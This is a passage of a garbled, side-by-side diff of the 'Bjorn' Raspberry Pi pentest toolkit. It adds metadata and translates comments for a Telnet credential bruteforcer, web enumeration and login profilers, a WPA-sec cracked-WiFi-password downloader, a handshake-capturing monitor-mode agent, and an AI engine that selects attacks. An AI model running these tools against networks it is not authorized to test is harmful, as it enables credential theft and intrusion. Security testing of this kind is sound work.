b_service = '["telnet"]' b_service = '["telnet"]'
b_trigger = 'on_any:["on_service:telnet","on_new_port:23"]' b_trigger = 'on_any:["on_service:telnet","on_new_port:23"]'
b_priority = 70 b_priority = 70
b_cooldown = 1800 # 30 minutes entre deux runs b_cooldown = 1800 # 30 min between runs
b_rate_limit = '3/86400' # 3 fois par jour max b_rate_limit = '3/86400' # max 3 per day
b_enabled = 1
b_action = "normal"
b_timeout = 600
b_max_retries = 2
b_stealth_level = 3
b_risk_level = "medium"
b_tags = ["bruteforce", "telnet", "credentials"]
b_category = "exploitation"
b_name = "Telnet Bruteforce"
b_description = "Threaded Telnet credential bruteforcer with prompt detection."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "TelnetBruteforce.png"
class TelnetBruteforce: class TelnetBruteforce:
"""Wrapper orchestrateur -> TelnetConnector.""" """Orchestrator wrapper for TelnetConnector."""
def __init__(self, shared_data): def __init__(self, shared_data):
self.shared_data = shared_data self.shared_data = shared_data
@@ -40,11 +47,11 @@ class TelnetBruteforce:
logger.info("TelnetConnector initialized.") logger.info("TelnetConnector initialized.")
def bruteforce_telnet(self, ip, port): def bruteforce_telnet(self, ip, port):
"""Lance le bruteforce Telnet pour (ip, port).""" """Run Telnet bruteforce for (ip, port)."""
return self.telnet_bruteforce.run_bruteforce(ip, port) return self.telnet_bruteforce.run_bruteforce(ip, port)
def execute(self, ip, port, row, status_key): def execute(self, ip, port, row, status_key):
"""Point d'entrée orchestrateur (retour 'success' / 'failed').""" """Orchestrator entry point. Returns 'success' or 'failed'."""
logger.info(f"Executing TelnetBruteforce on {ip}:{port}") logger.info(f"Executing TelnetBruteforce on {ip}:{port}")
self.shared_data.bjorn_orch_status = "TelnetBruteforce" self.shared_data.bjorn_orch_status = "TelnetBruteforce"
self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)} self.shared_data.comment_params = {"user": "?", "ip": ip, "port": str(port)}
@@ -53,12 +60,12 @@ class TelnetBruteforce:
class TelnetConnector: class TelnetConnector:
"""Gère les tentatives Telnet, persistance DB, mapping IPâ†(MAC, Hostname).""" """Handles Telnet attempts, DB persistence, and IP->(MAC, Hostname) mapping."""
def __init__(self, shared_data): def __init__(self, shared_data):
self.shared_data = shared_data self.shared_data = shared_data
# Wordlists inchangées # Wordlists
self.users = self._read_lines(shared_data.users_file) self.users = self._read_lines(shared_data.users_file)
self.passwords = self._read_lines(shared_data.passwords_file) self.passwords = self._read_lines(shared_data.passwords_file)
@@ -71,7 +78,7 @@ class TelnetConnector:
self.queue = Queue() self.queue = Queue()
self.progress = None self.progress = None
# ---------- util fichiers ---------- # ---------- file utils ----------
@staticmethod @staticmethod
def _read_lines(path: str) -> List[str]: def _read_lines(path: str) -> List[str]:
try: try:
@@ -273,7 +280,8 @@ class TelnetConnector:
self.results = [] self.results = []
def removeduplicates(self): def removeduplicates(self):
pass """No longer needed with unique DB index; kept for interface compat."""
# Dedup handled by DB UNIQUE constraint + ON CONFLICT in save_results
if __name__ == "__main__": if __name__ == "__main__":

View File

@@ -1,16 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """thor_hammer.py - Fast TCP banner grab and service fingerprinting per port."""
thor_hammer.py — Service fingerprinting (Pi Zero friendly, orchestrator compatible).
What it does:
- For a given target (ip, port), tries a fast TCP connect + banner grab.
- Optionally stores a service fingerprint into DB.port_services via db.upsert_port_service.
- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
Notes:
- Avoids spawning nmap per-port (too heavy). If you want nmap, add a dedicated action.
"""
import logging import logging
import socket import socket
@@ -35,6 +25,17 @@ b_action = "normal"
b_cooldown = 1200 b_cooldown = 1200
b_rate_limit = "24/86400" b_rate_limit = "24/86400"
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready. b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
b_timeout = 300
b_max_retries = 2
b_stealth_level = 5
b_risk_level = "low"
b_tags = ["banner", "fingerprint", "service", "tcp"]
b_category = "recon"
b_name = "Thor Hammer"
b_description = "Fast TCP banner grab and service fingerprinting per port."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "ThorHammer.png"
def _guess_service_from_port(port: int) -> str: def _guess_service_from_port(port: int) -> str:
@@ -167,7 +168,7 @@ class ThorHammer:
progress.advance(1) progress.advance(1)
progress.set_complete() progress.set_complete()
return "success" if any_open else "failed" return "success"
finally: finally:
self.shared_data.bjorn_progress = "" self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {} self.shared_data.comment_params = {}

View File

@@ -1,15 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """valkyrie_scout.py - Probe common web paths for auth surfaces, headers, and debug leaks."""
valkyrie_scout.py — Web surface scout (Pi Zero friendly, orchestrator compatible).
What it does:
- Probes a small set of common web paths on a target (ip, port).
- Extracts high-signal indicators from responses (auth type, login form hints, missing security headers,
error/debug strings). No exploitation, no bruteforce.
- Writes results into DB table `webenum` (tool='valkyrie_scout') so the UI can browse findings.
- Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
"""
import json import json
import logging import logging
@@ -37,6 +28,17 @@ b_action = "normal"
b_cooldown = 1800 b_cooldown = 1800
b_rate_limit = "8/86400" b_rate_limit = "8/86400"
b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready. b_enabled = 0 # keep disabled by default; enable via Actions UI/DB when ready.
b_timeout = 300
b_max_retries = 2
b_stealth_level = 5
b_risk_level = "low"
b_tags = ["web", "recon", "auth", "paths"]
b_category = "recon"
b_name = "Valkyrie Scout"
b_description = "Probes common web paths for auth surfaces, headers, and debug leaks."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "ValkyrieScout.png"
# Small default list to keep the action cheap on Pi Zero. # Small default list to keep the action cheap on Pi Zero.
DEFAULT_PATHS = [ DEFAULT_PATHS = [
@@ -373,6 +375,9 @@ class ValkyrieScout:
progress.set_complete() progress.set_complete()
return "success" return "success"
except Exception as e:
logger.error(f"ValkyrieScout failed for {ip}:{port_i}: {e}")
return "failed"
finally: finally:
self.shared_data.bjorn_progress = "" self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {} self.shared_data.comment_params = {}

View File

@@ -1,14 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """web_enum.py - Gobuster-powered web directory enumeration, streaming results to DB."""
web_enum.py — Gobuster Web Enumeration -> DB writer for table `webenum`.
- Writes each finding into the `webenum` table in REAL-TIME (Streaming).
- Updates bjorn_progress with actual percentage (0-100%).
- Respects orchestrator stop flag (shared_data.orchestrator_should_exit) immediately.
- No filesystem output: parse Gobuster stdout/stderr directly.
- Filtrage dynamique des statuts HTTP via shared_data.web_status_codes.
"""
import re import re
import socket import socket
@@ -37,6 +29,18 @@ b_priority = 9
b_cooldown = 1800 b_cooldown = 1800
b_rate_limit = '3/86400' b_rate_limit = '3/86400'
b_enabled = 1 b_enabled = 1
b_timeout = 600
b_max_retries = 1
b_stealth_level = 4
b_risk_level = "low"
b_action = "normal"
b_tags = ["web", "enum", "gobuster", "directories"]
b_category = "recon"
b_name = "Web Enumeration"
b_description = "Gobuster-powered web directory enumeration with streaming results to DB."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "WebEnumeration.png"
# -------------------- Defaults & parsing -------------------- # -------------------- Defaults & parsing --------------------
DEFAULT_WEB_STATUS_CODES = [ DEFAULT_WEB_STATUS_CODES = [
@@ -60,14 +64,14 @@ GOBUSTER_LINE = re.compile(
re.VERBOSE re.VERBOSE
) )
# Regex pour capturer la progression de Gobuster sur stderr # Regex to capture Gobuster progress from stderr
# Ex: "Progress: 1024 / 4096 (25.00%)" # e.g.: "Progress: 1024 / 4096 (25.00%)"
GOBUSTER_PROGRESS_RE = re.compile(r"Progress:\s+(?P<current>\d+)\s*/\s+(?P<total>\d+)") GOBUSTER_PROGRESS_RE = re.compile(r"Progress:\s+(?P<current>\d+)\s*/\s+(?P<total>\d+)")
def _normalize_status_policy(policy) -> Set[int]: def _normalize_status_policy(policy) -> Set[int]:
""" """
Transforme une politique "UI" en set d'entiers HTTP. Convert a UI status policy into a set of HTTP status ints.
""" """
codes: Set[int] = set() codes: Set[int] = set()
if not policy: if not policy:
@@ -104,11 +108,12 @@ class WebEnumeration:
""" """
def __init__(self, shared_data: SharedData): def __init__(self, shared_data: SharedData):
self.shared_data = shared_data self.shared_data = shared_data
self.gobuster_path = "/usr/bin/gobuster" # verify with `which gobuster` import shutil
self.gobuster_path = shutil.which("gobuster") or "/usr/bin/gobuster"
self.wordlist = self.shared_data.common_wordlist self.wordlist = self.shared_data.common_wordlist
self.lock = threading.Lock() self.lock = threading.Lock()
# Cache pour la taille de la wordlist (pour le calcul du %) # Wordlist size cache (for % calculation)
self.wordlist_size = 0 self.wordlist_size = 0
self._count_wordlist_lines() self._count_wordlist_lines()
@@ -121,7 +126,7 @@ class WebEnumeration:
logger.error(f"Wordlist not found: {self.wordlist}") logger.error(f"Wordlist not found: {self.wordlist}")
self._available = False self._available = False
# Politique venant de lUI : créer si absente # Status code policy from UI; create if missing
if not hasattr(self.shared_data, "web_status_codes") or not self.shared_data.web_status_codes: if not hasattr(self.shared_data, "web_status_codes") or not self.shared_data.web_status_codes:
self.shared_data.web_status_codes = DEFAULT_WEB_STATUS_CODES.copy() self.shared_data.web_status_codes = DEFAULT_WEB_STATUS_CODES.copy()
@@ -132,10 +137,10 @@ class WebEnumeration:
) )
def _count_wordlist_lines(self): def _count_wordlist_lines(self):
"""Compte les lignes de la wordlist une seule fois pour calculer le %.""" """Count wordlist lines once for progress % calculation."""
if self.wordlist and os.path.exists(self.wordlist): if self.wordlist and os.path.exists(self.wordlist):
try: try:
# Lecture rapide bufferisée # Fast buffered read
with open(self.wordlist, 'rb') as f: with open(self.wordlist, 'rb') as f:
self.wordlist_size = sum(1 for _ in f) self.wordlist_size = sum(1 for _ in f)
except Exception as e: except Exception as e:
@@ -162,7 +167,7 @@ class WebEnumeration:
# -------------------- Filter helper -------------------- # -------------------- Filter helper --------------------
def _allowed_status_set(self) -> Set[int]: def _allowed_status_set(self) -> Set[int]:
"""Recalcule à chaque run pour refléter une mise à jour UI en live.""" """Recalculated each run to reflect live UI updates."""
try: try:
return _normalize_status_policy(getattr(self.shared_data, "web_status_codes", None)) return _normalize_status_policy(getattr(self.shared_data, "web_status_codes", None))
except Exception as e: except Exception as e:

View File

@@ -1,13 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """web_login_profiler.py - Detect login forms and auth controls on web endpoints (no exploitation)."""
web_login_profiler.py — Lightweight web login profiler (Pi Zero friendly).
Goal:
- Profile web endpoints to detect login surfaces and defensive controls (no password guessing).
- Store findings into DB table `webenum` (tool='login_profiler') for community visibility.
- Update EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
"""
import json import json
import logging import logging
@@ -35,6 +28,17 @@ b_action = "normal"
b_cooldown = 1800 b_cooldown = 1800
b_rate_limit = "6/86400" b_rate_limit = "6/86400"
b_enabled = 1 b_enabled = 1
b_timeout = 300
b_max_retries = 2
b_stealth_level = 5
b_risk_level = "low"
b_tags = ["web", "login", "auth", "profiler"]
b_category = "recon"
b_name = "Web Login Profiler"
b_description = "Detects login forms and auth controls on web endpoints."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "WebLoginProfiler.png"
# Small curated list, cheap but high signal. # Small curated list, cheap but high signal.
DEFAULT_PATHS = [ DEFAULT_PATHS = [
@@ -309,6 +313,9 @@ class WebLoginProfiler:
# "success" means: profiler ran; not that a login exists. # "success" means: profiler ran; not that a login exists.
logger.info(f"WebLoginProfiler done for {ip}:{port_i} (login_surfaces={found_login})") logger.info(f"WebLoginProfiler done for {ip}:{port_i} (login_surfaces={found_login})")
return "success" return "success"
except Exception as e:
logger.error(f"WebLoginProfiler failed for {ip}:{port_i}: {e}")
return "failed"
finally: finally:
self.shared_data.bjorn_progress = "" self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {} self.shared_data.comment_params = {}

View File

@@ -1,14 +1,6 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """web_surface_mapper.py - Aggregate login_profiler findings into a per-target risk score."""
web_surface_mapper.py — Post-profiler web surface scoring (no exploitation).
Trigger idea: run after WebLoginProfiler to compute a summary and a "risk score"
from recent webenum rows written by tool='login_profiler'.
Writes one summary row into `webenum` (tool='surface_mapper') so it appears in UI.
Updates EPD UI fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
"""
import json import json
import logging import logging
@@ -33,6 +25,17 @@ b_action = "normal"
b_cooldown = 600 b_cooldown = 600
b_rate_limit = "48/86400" b_rate_limit = "48/86400"
b_enabled = 1 b_enabled = 1
b_timeout = 300
b_max_retries = 2
b_stealth_level = 6
b_risk_level = "low"
b_tags = ["web", "login", "risk", "mapper"]
b_category = "recon"
b_name = "Web Surface Mapper"
b_description = "Aggregates login profiler findings into a per-target risk score."
b_author = "Bjorn Team"
b_version = "2.0.0"
b_icon = "WebSurfaceMapper.png"
def _scheme_for_port(port: int) -> str: def _scheme_for_port(port: int) -> str:
@@ -226,6 +229,9 @@ class WebSurfaceMapper:
progress.set_complete() progress.set_complete()
return "success" return "success"
except Exception as e:
logger.error(f"WebSurfaceMapper failed for {ip}:{port_i}: {e}")
return "failed"
finally: finally:
self.shared_data.bjorn_progress = "" self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {} self.shared_data.comment_params = {}

View File

@@ -1,5 +1,4 @@
# wpasec_potfiles.py """wpasec_potfiles.py - Download, clean, import, or erase WiFi credentials from wpa-sec.stanev.org."""
# WPAsec Potfile Manager - Download, clean, import, or erase WiFi credentials
import os import os
import json import json
@@ -25,6 +24,19 @@ b_description = (
b_author = "Infinition" b_author = "Infinition"
b_version = "1.0.0" b_version = "1.0.0"
b_icon = f"/actions_icons/{b_class}.png" b_icon = f"/actions_icons/{b_class}.png"
b_port = None
b_service = "[]"
b_trigger = None
b_priority = 30
b_timeout = 300
b_cooldown = 3600
b_stealth_level = 10
b_risk_level = "low"
b_status = "wpasec_potfiles"
b_parent = None
b_rate_limit = None
b_max_retries = 1
b_tags = ["wifi", "wpa", "potfile", "credentials"]
b_docs_url = "https://wpa-sec.stanev.org/?api" b_docs_url = "https://wpa-sec.stanev.org/?api"
b_args = { b_args = {
@@ -110,8 +122,8 @@ def compute_dynamic_b_args(base: dict) -> dict:
# ── CLASS IMPLEMENTATION ───────────────────────────────────────────────────── # ── CLASS IMPLEMENTATION ─────────────────────────────────────────────────────
class WPAsecPotfileManager: class WPAsecPotfileManager:
DEFAULT_SAVE_DIR = "/home/bjorn/Bjorn/data/input/potfiles" DEFAULT_SAVE_DIR = os.path.join(os.path.expanduser("~"), "Bjorn", "data", "input", "potfiles")
DEFAULT_SETTINGS_DIR = "/home/bjorn/.settings_bjorn" DEFAULT_SETTINGS_DIR = os.path.join(os.path.expanduser("~"), ".settings_bjorn")
SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "wpasec_settings.json") SETTINGS_FILE = os.path.join(DEFAULT_SETTINGS_DIR, "wpasec_settings.json")
DOWNLOAD_URL = "https://wpa-sec.stanev.org/?api&dl=1" DOWNLOAD_URL = "https://wpa-sec.stanev.org/?api&dl=1"
@@ -121,7 +133,6 @@ class WPAsecPotfileManager:
Even if unused here, we store it for compatibility. Even if unused here, we store it for compatibility.
""" """
self.shared_data = shared_data self.shared_data = shared_data
logging.basicConfig(level=logging.INFO, format="%(asctime)s - %(levelname)s - %(message)s")
# --- Orchestrator entry point --- # --- Orchestrator entry point ---
def execute(self, ip=None, port=None, row=None, status_key=None): def execute(self, ip=None, port=None, row=None, status_key=None):
@@ -130,16 +141,23 @@ class WPAsecPotfileManager:
By default: download latest potfile if API key is available. By default: download latest potfile if API key is available.
""" """
self.shared_data.bjorn_orch_status = "WPAsecPotfileManager" self.shared_data.bjorn_orch_status = "WPAsecPotfileManager"
self.shared_data.comment_params = {"ip": ip, "port": port} # EPD live status
self.shared_data.comment_params = {"action": "download", "status": "starting"}
try:
api_key = self.load_api_key() api_key = self.load_api_key()
if api_key: if api_key:
logging.info("WPAsecPotfileManager: downloading latest potfile (orchestrator trigger).") logging.info("WPAsecPotfileManager: downloading latest potfile (orchestrator trigger).")
self.download_potfile(self.DEFAULT_SAVE_DIR, api_key) self.download_potfile(self.DEFAULT_SAVE_DIR, api_key)
# EPD live status update
self.shared_data.comment_params = {"action": "download", "status": "complete"}
return "success" return "success"
else: else:
logging.warning("WPAsecPotfileManager: no API key found, nothing done.") logging.warning("WPAsecPotfileManager: no API key found, nothing done.")
return "failed" return "failed"
finally:
self.shared_data.bjorn_progress = ""
self.shared_data.comment_params = {}
# --- API Key Handling --- # --- API Key Handling ---
def save_api_key(self, api_key: str): def save_api_key(self, api_key: str):

View File

@@ -1,19 +1,8 @@
#!/usr/bin/env python3 #!/usr/bin/env python3
# -*- coding: utf-8 -*- # -*- coding: utf-8 -*-
""" """yggdrasil_mapper.py - Traceroute-based network topology mapping to JSON.
yggdrasil_mapper.py -- Network topology mapper (Pi Zero friendly, orchestrator compatible).
What it does: Uses scapy ICMP (fallback: subprocess) and merges results across runs.
- Phase 1: Traceroute via scapy ICMP (fallback: subprocess traceroute) to discover
the routing path to the target IP. Records hop IPs and RTT per hop.
- Phase 2: Service enrichment -- reads existing port data from DB hosts table and
optionally verifies a handful of key ports with TCP connect probes.
- Phase 3: Builds a topology graph data structure (nodes + edges + metadata).
- Phase 4: Aggregates with topology data from previous runs (merge / deduplicate).
- Phase 5: Saves the combined topology as JSON to data/output/topology/.
No matplotlib or networkx dependency -- pure JSON output.
Updates EPD fields: bjorn_orch_status, bjorn_status_text2, comment_params, bjorn_progress.
""" """
import json import json
@@ -105,7 +94,7 @@ b_examples = [
b_docs_url = "docs/actions/YggdrasilMapper.md" b_docs_url = "docs/actions/YggdrasilMapper.md"
# -------------------- Constants -------------------- # -------------------- Constants --------------------
_DATA_DIR = "/home/bjorn/Bjorn/data" _DATA_DIR = os.path.join(os.path.dirname(os.path.dirname(os.path.abspath(__file__))), "data")
OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "topology") OUTPUT_DIR = os.path.join(_DATA_DIR, "output", "topology")
# Ports to verify during service enrichment (small set to stay Pi Zero friendly). # Ports to verify during service enrichment (small set to stay Pi Zero friendly).
@@ -423,8 +412,8 @@ class YggdrasilMapper:
# Query DB for known ports to prioritize probing # Query DB for known ports to prioritize probing
db_ports = [] db_ports = []
host_data = None
try: try:
# mac is available in the scope
host_data = self.shared_data.db.get_host_by_mac(mac) host_data = self.shared_data.db.get_host_by_mac(mac)
if host_data and host_data.get("ports"): if host_data and host_data.get("ports"):
# Normalize ports from DB string # Normalize ports from DB string

View File

@@ -1,26 +1,6 @@
""" """ai_engine.py - Lightweight AI decision engine for action selection on Pi Zero.
ai_engine.py - Dynamic AI Decision Engine for Bjorn
═══════════════════════════════════════════════════════════════════════════
Purpose: Loads pre-trained model weights from PC; falls back to heuristics when unavailable.
Lightweight AI decision engine for Raspberry Pi Zero.
Works in tandem with deep learning model trained on external PC.
Architecture:
- Lightweight inference engine (no TensorFlow/PyTorch on Pi)
- Loads pre-trained model weights from PC
- Real-time action selection
- Automatic feature extraction
- Fallback to heuristics when model unavailable
Model Pipeline:
1. Pi: Collect data → Export → Transfer to PC
2. PC: Train deep neural network → Export lightweight model
3. Pi: Load model → Use for decision making
4. Repeat: Continuous learning cycle
Author: Bjorn Team
Version: 2.0.0
""" """
import json import json
@@ -141,7 +121,7 @@ class BjornAIEngine:
new_weights = { new_weights = {
k: np.array(v) for k, v in weights_data.items() k: np.array(v) for k, v in weights_data.items()
} }
del weights_data # Free raw dict numpy arrays are the canonical form del weights_data # Free raw dict - numpy arrays are the canonical form
# AI-03: Save previous model for rollback # AI-03: Save previous model for rollback
if self.model_loaded and self.model_weights is not None: if self.model_loaded and self.model_weights is not None:
@@ -263,7 +243,7 @@ class BjornAIEngine:
self._performance_window.append(reward) self._performance_window.append(reward)
# Update current history entry # Update current history entry
if self._model_history: if self._model_history and len(self._performance_window) > 0:
self._model_history[-1]['avg_reward'] = round( self._model_history[-1]['avg_reward'] = round(
sum(self._performance_window) / len(self._performance_window), 2 sum(self._performance_window) / len(self._performance_window), 2
) )
@@ -345,7 +325,14 @@ class BjornAIEngine:
current_version = str(self.model_config.get("version", "0")).strip() if self.model_config else "0" current_version = str(self.model_config.get("version", "0")).strip() if self.model_config else "0"
if remote_version > current_version: def _version_tuple(v: str) -> tuple:
"""Parse version string like '1.2.3' into comparable tuple (1, 2, 3)."""
try:
return tuple(int(x) for x in v.split('.'))
except (ValueError, AttributeError):
return (0,)
if _version_tuple(remote_version) > _version_tuple(current_version):
logger.info(f"New model available: {remote_version} (Local: {current_version})") logger.info(f"New model available: {remote_version} (Local: {current_version})")
# Download config (stream to avoid loading the whole file into RAM) # Download config (stream to avoid loading the whole file into RAM)
@@ -625,7 +612,7 @@ class BjornAIEngine:
def _get_temporal_context(self, mac: str) -> Dict: def _get_temporal_context(self, mac: str) -> Dict:
""" """
Collect real temporal features for a MAC from DB. Collect real temporal features for a MAC from DB.
same_action_attempts / is_retry are action-specific they are NOT same_action_attempts / is_retry are action-specific - they are NOT
included here; instead they are merged from _get_action_context() included here; instead they are merged from _get_action_context()
inside the per-action loop in _predict_with_model(). inside the per-action loop in _predict_with_model().
""" """
@@ -930,9 +917,14 @@ class BjornAIEngine:
best_action = max(action_scores, key=action_scores.get) best_action = max(action_scores, key=action_scores.get)
best_score = action_scores[best_action] best_score = action_scores[best_action]
# Normalize score to 0-1 # Normalize score to 0-1 range
if best_score > 0: # Static heuristic scores can exceed 1.0 when multiple port/service
best_score = min(best_score / 1.0, 1.0) # rules match, so we normalize by the maximum observed score.
if best_score > 1.0:
all_vals = action_scores.values()
max_val = max(all_vals) if all_vals else 1.0
best_score = best_score / max_val if max_val > 0 else 1.0
best_score = min(best_score, 1.0)
debug_info = { debug_info = {
'method': 'heuristics_bootstrap' if bootstrap_used else 'heuristics', 'method': 'heuristics_bootstrap' if bootstrap_used else 'heuristics',

View File

@@ -1,6 +1,4 @@
""" """ai_utils.py - Shared feature extraction and encoding helpers for the AI engine."""
ai_utils.py - Shared AI utilities for Bjorn
"""
import json import json
import numpy as np import numpy as np

View File

@@ -1,5 +1,5 @@
""" """__init__.py - Bifrost, pwnagotchi-compatible WiFi recon engine for Bjorn.
Bifrost — Pwnagotchi-compatible WiFi recon engine for Bjorn.
Runs as a daemon thread alongside MANUAL/AUTO/AI modes. Runs as a daemon thread alongside MANUAL/AUTO/AI modes.
""" """
import os import os
@@ -42,7 +42,7 @@ class BifrostEngine:
# Wait for any previous thread to finish before re-starting # Wait for any previous thread to finish before re-starting
if self._thread and self._thread.is_alive(): if self._thread and self._thread.is_alive():
logger.warning("Previous Bifrost thread still running waiting ...") logger.warning("Previous Bifrost thread still running - waiting ...")
self._stop_event.set() self._stop_event.set()
self._thread.join(timeout=15) self._thread.join(timeout=15)
@@ -82,7 +82,7 @@ class BifrostEngine:
logger.info("Bifrost engine stopped") logger.info("Bifrost engine stopped")
def _loop(self): def _loop(self):
"""Main daemon loop setup monitor mode, start bettercap, create agent, run recon cycle.""" """Main daemon loop - setup monitor mode, start bettercap, create agent, run recon cycle."""
try: try:
# Install compatibility shim for pwnagotchi plugins # Install compatibility shim for pwnagotchi plugins
from bifrost import plugins as bfplugins from bifrost import plugins as bfplugins
@@ -94,15 +94,15 @@ class BifrostEngine:
if self._monitor_failed: if self._monitor_failed:
logger.error( logger.error(
"Monitor mode setup failed Bifrost cannot operate without monitor " "Monitor mode setup failed - Bifrost cannot operate without monitor "
"mode. For Broadcom chips (Pi Zero W/2W), install nexmon: " "mode. For Broadcom chips (Pi Zero W/2W), install nexmon: "
"https://github.com/seemoo-lab/nexmon " "https://github.com/seemoo-lab/nexmon - "
"Or use an external USB WiFi adapter with monitor mode support.") "Or use an external USB WiFi adapter with monitor mode support.")
# Teardown first (restores network services) BEFORE switching mode, # Teardown first (restores network services) BEFORE switching mode,
# so the orchestrator doesn't start scanning on a dead network. # so the orchestrator doesn't start scanning on a dead network.
self._teardown_monitor_mode() self._teardown_monitor_mode()
self._running = False self._running = False
# Now switch mode back to AUTO the network should be restored. # Now switch mode back to AUTO - the network should be restored.
# We set the flag directly FIRST (bypass setter to avoid re-stopping), # We set the flag directly FIRST (bypass setter to avoid re-stopping),
# then ensure manual_mode/ai_mode are cleared so getter returns AUTO. # then ensure manual_mode/ai_mode are cleared so getter returns AUTO.
try: try:
@@ -112,7 +112,7 @@ class BifrostEngine:
self.shared_data.manual_mode = False self.shared_data.manual_mode = False
self.shared_data.ai_mode = False self.shared_data.ai_mode = False
self.shared_data.invalidate_config_cache() self.shared_data.invalidate_config_cache()
logger.info("Bifrost auto-disabled due to monitor mode failure mode: AUTO") logger.info("Bifrost auto-disabled due to monitor mode failure - mode: AUTO")
except Exception: except Exception:
pass pass
return return
@@ -133,7 +133,7 @@ class BifrostEngine:
# Initialize agent # Initialize agent
self.agent.start() self.agent.start()
logger.info("Bifrost agent started entering recon cycle") logger.info("Bifrost agent started - entering recon cycle")
# Main recon loop (port of do_auto_mode from pwnagotchi) # Main recon loop (port of do_auto_mode from pwnagotchi)
while not self._stop_event.is_set(): while not self._stop_event.is_set():
@@ -208,7 +208,7 @@ class BifrostEngine:
return True return True
except Exception: except Exception:
pass pass
# nexutil exists assume usable even without dmesg confirmation # nexutil exists - assume usable even without dmesg confirmation
return True return True
@staticmethod @staticmethod
@@ -239,10 +239,10 @@ class BifrostEngine:
"""Put the WiFi interface into monitor mode. """Put the WiFi interface into monitor mode.
Strategy order: Strategy order:
1. Nexmon for Broadcom brcmfmac chips (Pi Zero W / Pi Zero 2 W) 1. Nexmon - for Broadcom brcmfmac chips (Pi Zero W / Pi Zero 2 W)
Uses: iw phy <phy> interface add mon0 type monitor + nexutil -m2 Uses: iw phy <phy> interface add mon0 type monitor + nexutil -m2
2. airmon-ng for chipsets with proper driver support (Atheros, Realtek, etc.) 2. airmon-ng - for chipsets with proper driver support (Atheros, Realtek, etc.)
3. iw direct fallback for other drivers 3. iw - direct fallback for other drivers
""" """
self._monitor_torn_down = False self._monitor_torn_down = False
self._nexmon_used = False self._nexmon_used = False
@@ -270,7 +270,7 @@ class BifrostEngine:
if self._has_nexmon(): if self._has_nexmon():
if self._setup_nexmon(base_iface, cfg): if self._setup_nexmon(base_iface, cfg):
return return
# nexmon setup failed don't try other strategies, they won't work either # nexmon setup failed - don't try other strategies, they won't work either
self._monitor_failed = True self._monitor_failed = True
return return
else: else:
@@ -410,7 +410,7 @@ class BifrostEngine:
logger.error("Monitor interface %s not created", mon_iface) logger.error("Monitor interface %s not created", mon_iface)
return False return False
# Success update config to use mon0 # Success - update config to use mon0
cfg['bifrost_iface'] = mon_iface cfg['bifrost_iface'] = mon_iface
self._mon_iface = mon_iface self._mon_iface = mon_iface
self._nexmon_used = True self._nexmon_used = True

View File

@@ -1,5 +1,5 @@
""" """agent.py - Bifrost WiFi recon agent.
Bifrost — WiFi recon agent.
Ported from pwnagotchi/agent.py using composition instead of inheritance. Ported from pwnagotchi/agent.py using composition instead of inheritance.
""" """
import time import time
@@ -22,7 +22,7 @@ logger = Logger(name="bifrost.agent", level=logging.DEBUG)
class BifrostAgent: class BifrostAgent:
"""WiFi recon agent drives bettercap, captures handshakes, tracks epochs.""" """WiFi recon agent - drives bettercap, captures handshakes, tracks epochs."""
def __init__(self, shared_data, stop_event=None): def __init__(self, shared_data, stop_event=None):
self.shared_data = shared_data self.shared_data = shared_data
@@ -170,7 +170,7 @@ class BifrostAgent:
err_msg = str(e) err_msg = str(e)
if 'Operation not supported' in err_msg or 'EOPNOTSUPP' in err_msg: if 'Operation not supported' in err_msg or 'EOPNOTSUPP' in err_msg:
logger.error( logger.error(
"wifi.recon failed: %s Your WiFi chip likely does NOT support " "wifi.recon failed: %s - Your WiFi chip likely does NOT support "
"monitor mode. The built-in Broadcom chip on Raspberry Pi Zero/Zero 2 " "monitor mode. The built-in Broadcom chip on Raspberry Pi Zero/Zero 2 "
"has limited monitor mode support. Use an external USB WiFi adapter " "has limited monitor mode support. Use an external USB WiFi adapter "
"(e.g. Alfa AWUS036ACH, Panda PAU09) that supports monitor mode and " "(e.g. Alfa AWUS036ACH, Panda PAU09) that supports monitor mode and "
@@ -362,7 +362,7 @@ class BifrostAgent:
logger.error("Error setting channel: %s", e) logger.error("Error setting channel: %s", e)
def next_epoch(self): def next_epoch(self):
"""Transition to next epoch evaluate mood.""" """Transition to next epoch - evaluate mood."""
self.automata.next_epoch(self.epoch) self.automata.next_epoch(self.epoch)
# Persist epoch to DB # Persist epoch to DB
data = self.epoch.data() data = self.epoch.data()
@@ -393,7 +393,7 @@ class BifrostAgent:
has_ws = True has_ws = True
except ImportError: except ImportError:
has_ws = False has_ws = False
logger.warning("websockets package not installed using REST event polling " logger.warning("websockets package not installed - using REST event polling "
"(pip install websockets for real-time events)") "(pip install websockets for real-time events)")
if has_ws: if has_ws:
@@ -417,7 +417,7 @@ class BifrostAgent:
loop.close() loop.close()
def _rest_event_loop(self): def _rest_event_loop(self):
"""REST-based fallback event poller polls /api/events every 2s.""" """REST-based fallback event poller - polls /api/events every 2s."""
